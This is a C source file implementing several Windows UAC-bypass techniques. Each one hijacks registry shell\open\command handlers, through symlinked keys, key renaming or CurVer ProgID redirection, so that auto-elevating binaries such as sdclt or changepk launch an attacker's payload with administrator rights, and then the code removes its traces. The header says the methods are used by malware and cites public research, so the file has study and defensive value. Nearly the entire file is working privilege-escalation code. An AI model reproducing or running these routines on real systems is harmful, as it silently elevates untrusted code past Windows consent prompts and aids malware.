/******************************************************************************* * * (C) COPYRIGHT AUTHORS, 2016 - 2023 * * TITLE: SHELLSUP.C * * VERSION: 3.69 * * DATE: 07 Jul 2025 * * Shell registry hijack autoelevation methods. * * Used by various malware. * * For description please visit original URL * https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ * https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/ * https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ * https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ * https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/ * http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass * https://www.activecyber.us/1/post/2019/03/windows-uac-bypass.html * https://packetstormsecurity.com/files/155927/Microsoft-Windows-10-Local-Privilege-Escalation.html * https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses * * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A * PARTICULAR PURPOSE. * *******************************************************************************/ #include "global.h" /* * ucmxSetSlaveParams * * Purpose: * * Set slave key parameters. * */ NTSTATUS ucmxSetSlaveParams( _In_ HANDLE KeyHandle, _In_ LPCWSTR Payload ) { NTSTATUS ntStatus = STATUS_ACCESS_DENIED; SIZE_T sz; DWORD cbData, dummy; dummy = 0; cbData = 0; ntStatus = supRegWriteValue(KeyHandle, T_DELEGATEEXECUTE, REG_SZ, &dummy, cbData); if (NT_SUCCESS(ntStatus)) { // // Set "Default" value as our payload. // sz = (1 + _strlen(Payload)) * sizeof(WCHAR); ntStatus = supRegWriteValue(KeyHandle, NULL, REG_SZ, (PVOID)Payload, (ULONG)sz); } return ntStatus; } /* * ucmxCreateSlaveKey * * Purpose: * * Create temporary key with all required values. * */ NTSTATUS ucmxCreateSlaveKey( _In_ HANDLE RootKey, _In_ LPCWSTR Payload, _Inout_ LPWSTR SlaveKey //cch max MAX_PATH ) { NTSTATUS ntStatus = STATUS_ACCESS_DENIED; GUID guidTemp; LPWSTR lpGuidKey = NULL; HKEY hKey; SIZE_T sz; do { if (CoCreateGuid(&guidTemp) != S_OK) break; if (StringFromCLSID(&guidTemp, &lpGuidKey) != S_OK) break; sz = (1 + _strlen(lpGuidKey)) * sizeof(WCHAR); _strncpy(SlaveKey, MAX_PATH, lpGuidKey, MAX_PATH); // // Slave key with data. // if (ERROR_SUCCESS == RegCreateKey(RootKey, lpGuidKey, &hKey)) { ntStatus = ucmxSetSlaveParams(hKey, Payload); RegCloseKey(hKey); } } while (FALSE); CoTaskMemFree(lpGuidKey); return ntStatus; } /* * ucmShellRegModMethod * * Purpose: * * Bypass UAC using various registry shell key modifications. * */ NTSTATUS ucmShellRegModMethod( _In_ UCM_METHOD Method, LPCWSTR lpTargetKey, LPCWSTR lpszTargetApp, LPCWSTR lpszPayload ) { NTSTATUS MethodResult = STATUS_ACCESS_DENIED; BOOLEAN bSlaveCreated = FALSE; NTSTATUS ntStatus = STATUS_ACCESS_DENIED; HANDLE masterRootKey = NULL, classesKey = NULL, targetKey = NULL; OBJECT_ATTRIBUTES obja; UNICODE_STRING usCurrentUser, usMasterKey, usSlaveKey; WCHAR szSlaveKey[MAX_PATH * 2]; WCHAR szMasterKey[MAX_PATH * 2]; WCHAR szClasses[MAX_PATH]; WCHAR szBuffer[MAX_PATH * 2]; SHELLEXECUTEINFO shinfo; LPWSTR lpSlaveNtKey = NULL; DWORD dummy; SIZE_T sz; UNICODE_STRING CmSymbolicLinkValue = RTL_CONSTANT_STRING(L"SymbolicLinkValue"); HRESULT hr_init; hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); RtlSecureZeroMemory(&szSlaveKey, sizeof(szSlaveKey)); #ifndef _WIN64 if (g_ctx->IsWow64) { ntStatus = supEnableDisableWow64Redirection(TRUE); if (!NT_SUCCESS(ntStatus)) return ntStatus; } #endif do { // // Remember current user reg name. // ntStatus = RtlFormatCurrentUserKeyPath(&usCurrentUser); if (!NT_SUCCESS(ntStatus)) break; // // Open classes root. // ntStatus = supOpenClassesKey(&usCurrentUser, &classesKey); if (!NT_SUCCESS(ntStatus)) break; // // Create slave key. // szSlaveKey[0] = L'\\'; szSlaveKey[1] = 0; ntStatus = ucmxCreateSlaveKey( classesKey, lpszPayload, &szSlaveKey[1]); if (!NT_SUCCESS(ntStatus)) break; bSlaveCreated = TRUE; // // Allocate slave NT regpath. // sz = (MAX_PATH + _strlen(szSlaveKey) * sizeof(WCHAR)) + usCurrentUser.MaximumLength; lpSlaveNtKey = (PWSTR)supHeapAlloc(sz); if (lpSlaveNtKey == NULL) break; RtlInitEmptyUnicodeString(&usSlaveKey, lpSlaveNtKey, sz); ntStatus = RtlAppendUnicodeStringToString(&usSlaveKey, &usCurrentUser); if (!NT_SUCCESS(ntStatus)) break; szClasses[0] = L'\\'; szClasses[1] = 0; _strcpy(&szClasses[1], T_SOFTWARE_CLASSES); ntStatus = RtlAppendUnicodeToString(&usSlaveKey, szClasses); if (!NT_SUCCESS(ntStatus)) break; ntStatus = RtlAppendUnicodeToString(&usSlaveKey, szSlaveKey); if (!NT_SUCCESS(ntStatus)) break; // // Create empty master key. // _strncpy(szMasterKey, MAX_PATH, lpTargetKey, MAX_PATH); _strcat(szMasterKey, T_SHELL_OPEN); if (ERROR_SUCCESS != RegCreateKeyEx(classesKey, szMasterKey, 0, NULL, REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, (HKEY*)&masterRootKey, NULL)) { break; } // // Open/create master key. // RtlInitUnicodeString(&usMasterKey, T_SHELL_COMMAND); InitializeObjectAttributes(&obja, &usMasterKey, OBJ_CASE_INSENSITIVE, masterRootKey, NULL); ntStatus = NtCreateKey(&targetKey, KEY_ALL_ACCESS, &obja, 0, NULL, REG_OPTION_CREATE_LINK | REG_OPTION_VOLATILE, &dummy); // // If link already created, update it. // if (ntStatus == STATUS_OBJECT_NAME_COLLISION) { obja.Attributes |= OBJ_OPENLINK; ntStatus = NtOpenKey(&targetKey, KEY_ALL_ACCESS, &obja); } if (!NT_SUCCESS(ntStatus)) break; sz = _strlen(usSlaveKey.Buffer) * sizeof(WCHAR); ntStatus = NtSetValueKey(targetKey, &CmSymbolicLinkValue, 0, REG_LINK, (PVOID)usSlaveKey.Buffer, (ULONG)usSlaveKey.Length); if (!NT_SUCCESS(ntStatus)) break; NtClose(targetKey); targetKey = NULL; if ((Method == UacMethodShellChangePk) || (Method == UacMethodShellSdclt)) { _strcpy(szBuffer, g_ctx->szSystemDirectory); _strcat(szBuffer, lpszTargetApp); RtlSecureZeroMemory(&shinfo, sizeof(shinfo)); shinfo.cbSize = sizeof(shinfo); shinfo.lpVerb = RUNAS_VERB; shinfo.lpFile = szBuffer; shinfo.nShow = SW_SHOWNORMAL; shinfo.fMask = SEE_MASK_NOCLOSEPROCESS; if (ShellExecuteEx(&shinfo)) { Sleep(5000); TerminateProcess(shinfo.hProcess, 0); CloseHandle(shinfo.hProcess); MethodResult = STATUS_SUCCESS; } } else { if (supRunProcess(lpszTargetApp, NULL)) MethodResult = STATUS_SUCCESS; } } while (FALSE); if (targetKey) NtClose(targetKey); if (masterRootKey) NtClose(masterRootKey); if (lpSlaveNtKey) supHeapFree(lpSlaveNtKey); // // Cleanup slave key. // if (bSlaveCreated) { if (classesKey) { RegDeleteKey(classesKey, &szSlaveKey[1]);//skip slash } } if (classesKey) NtClose(classesKey); if (SUCCEEDED(hr_init)) CoUninitialize(); // // Remove symlink. // szMasterKey[0] = L'\\'; szMasterKey[1] = 0; _strcpy(&szMasterKey[1], T_SOFTWARE_CLASSES); _strcat(szMasterKey, TEXT("\\")); _strcat(szMasterKey, lpTargetKey); _strcat(szMasterKey, T_SHELL_OPEN); _strcat(szMasterKey, TEXT("\\")); _strcat(szMasterKey, T_SHELL_COMMAND); supRemoveRegLinkHKCU(szMasterKey); #ifndef _WIN64 if (g_ctx->IsWow64) { supEnableDisableWow64Redirection(FALSE); } #endif return MethodResult; } /* * ucmShellRegModMethod2 * * Purpose: * * Bypass UAC using various registry shell key modifications. * */ NTSTATUS ucmShellRegModMethod2( _In_ UCM_METHOD Method, LPCWSTR lpTargetKey, LPCWSTR lpszTargetApp, LPCWSTR lpszPayload ) { BOOLEAN bBackupAvailable = FALSE; NTSTATUS MethodResult = STATUS_ACCESS_DENIED, ntStatus; HANDLE hClassesRoot, hSubKey = NULL; DWORD dwDisp = 0; WCHAR szKey[MAX_PATH]; PWSTR pwszKey; UNREFERENCED_PARAMETER(Method); #ifndef _WIN64 if (g_ctx->IsWow64) { ntStatus = supEnableDisableWow64Redirection(TRUE); if (!NT_SUCCESS(ntStatus)) return ntStatus; } #endif do { ntStatus = supOpenClassesKey(NULL, &hClassesRoot); if (!NT_SUCCESS(ntStatus)) break; RtlSecureZeroMemory(&szKey, sizeof(szKey)); _strcpy(szKey, lpTargetKey); _strcat(szKey, T_SHELL_OPEN); _strcat(szKey, TEXT("\\")); _strcat(szKey, T_SHELL_COMMAND); // // If "command" key exist - backup it. // if (ERROR_SUCCESS == RegOpenKeyEx(hClassesRoot, szKey, 0, MAXIMUM_ALLOWED, (HKEY*)&hSubKey)) { RegCloseKey(hSubKey); bBackupAvailable = (RegRenameKey(hClassesRoot, szKey, MYSTERIOUSCUTETHING) == ERROR_SUCCESS); } _strcat(szKey, TEXT("~")); hSubKey = NULL; if (ERROR_SUCCESS != RegCreateKeyEx(hClassesRoot, szKey, 0, NULL, REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, (HKEY*)&hSubKey, &dwDisp)) { break; } ntStatus = ucmxSetSlaveParams(hSubKey, lpszPayload); if (!NT_SUCCESS(ntStatus)) break; RegCloseKey(hSubKey); hSubKey = NULL; RegRenameKey(hClassesRoot, szKey, T_SHELL_COMMAND); if (supRunProcess(lpszTargetApp, NULL)) MethodResult = STATUS_SUCCESS; } while (FALSE); if (hSubKey) RegCloseKey(hSubKey); // // Cleanup section. // _strcpy(szKey, lpTargetKey); _strcat(szKey, T_SHELL_OPEN); _strcat(szKey, TEXT("\\")); if (bBackupAvailable) { pwszKey = _strend(szKey); _strcat(szKey, T_SHELL_COMMAND); RegDeleteKey(hClassesRoot, szKey); *pwszKey = 0; _strcat(szKey, MYSTERIOUSCUTETHING); RegRenameKey(hClassesRoot, szKey, T_SHELL_COMMAND); } else { _strcat(szKey, T_SHELL_COMMAND); RegDeleteKey(hClassesRoot, szKey); } if (hClassesRoot) NtClose(hClassesRoot); #ifndef _WIN64 if (g_ctx->IsWow64) { supEnableDisableWow64Redirection(FALSE); } #endif return MethodResult; } /* * ucmShellRegModMethod3 * * Purpose: * * Bypass UAC using registry shell key CurVer progId. * */ NTSTATUS ucmShellRegModMethod3( LPCWSTR lpTargetKey, LPCWSTR lpszTargetApp, LPCWSTR lpszPayload ) { NTSTATUS MethodResult = STATUS_ACCESS_DENIED; HANDLE hClassesRoot, hSubKey = NULL; SIZE_T sz; WCHAR szKey[MAX_PATH]; #ifndef _WIN64 if (g_ctx->IsWow64) { MethodResult = supEnableDisableWow64Redirection(TRUE); if (!NT_SUCCESS(MethodResult)) return MethodResult; } #endif do { MethodResult = supOpenClassesKey(NULL, &hClassesRoot); if (!NT_SUCCESS(MethodResult)) break; RtlSecureZeroMemory(&szKey, sizeof(szKey)); // // Prepare registry key for a new handler. // _strcpy(szKey, ABSOLUTEWIN); _strcat(szKey, T_SHELL_OPEN); _strcat(szKey, TEXT("\\")); _strcat(szKey, T_SHELL_COMMAND); if (ERROR_SUCCESS == RegCreateKeyEx(hClassesRoot, szKey, 0, NULL, REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, (HKEY*)&hSubKey, NULL)) { sz = (1 + _strlen(lpszPayload)) * sizeof(WCHAR); MethodResult = supRegWriteValue(hSubKey, NULL, REG_SZ, (PVOID)lpszPayload, (DWORD)sz); RegCloseKey(hSubKey); } if (!NT_SUCCESS(MethodResult)) break; // // Set CurVer to target key // hSubKey = NULL; _strcpy(szKey, lpTargetKey); _strcat(szKey, TEXT("\\")); _strcat(szKey, T_CURVER); if (ERROR_SUCCESS == RegCreateKeyEx(hClassesRoot, szKey, 0, NULL, REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, (HKEY*)&hSubKey, NULL)) { sz = (1 + _strlen(ABSOLUTEWIN)) * sizeof(WCHAR); MethodResult = supRegWriteValue(hSubKey, NULL, REG_SZ, (PVOID)ABSOLUTEWIN, (DWORD)sz); if (NT_SUCCESS(MethodResult)) { if (supRunProcess(lpszTargetApp, NULL)) MethodResult = STATUS_SUCCESS; } RegCloseKey(hSubKey); RegDeleteKey(hClassesRoot, szKey); } } while (FALSE); supRegDeleteKeyRecursive(hClassesRoot, ABSOLUTEWIN); if (hClassesRoot) NtClose(hClassesRoot); #ifndef _WIN64 if (g_ctx->IsWow64) { supEnableDisableWow64Redirection(FALSE); } #endif return MethodResult; }